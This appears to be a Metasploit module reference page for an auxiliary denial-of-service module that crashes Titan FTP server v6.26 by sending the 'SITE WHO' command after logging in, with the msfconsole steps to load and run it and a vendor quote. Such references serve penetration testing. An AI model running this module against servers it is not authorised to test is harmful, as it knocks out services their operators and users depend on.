The Titan FTP server v6.26 build 630 can be DoS'd by issuing "SITE WHO". You need a valid login so you can send this command.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/dos/windows/ftp/titan626_site
msf auxiliary(titan626_site) > show actions
...actions...
msf auxiliary(titan626_site) > set ACTION < action-name >
msf auxiliary(titan626_site) > show options
...show and set options...
msf auxiliary(titan626_site) > run
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security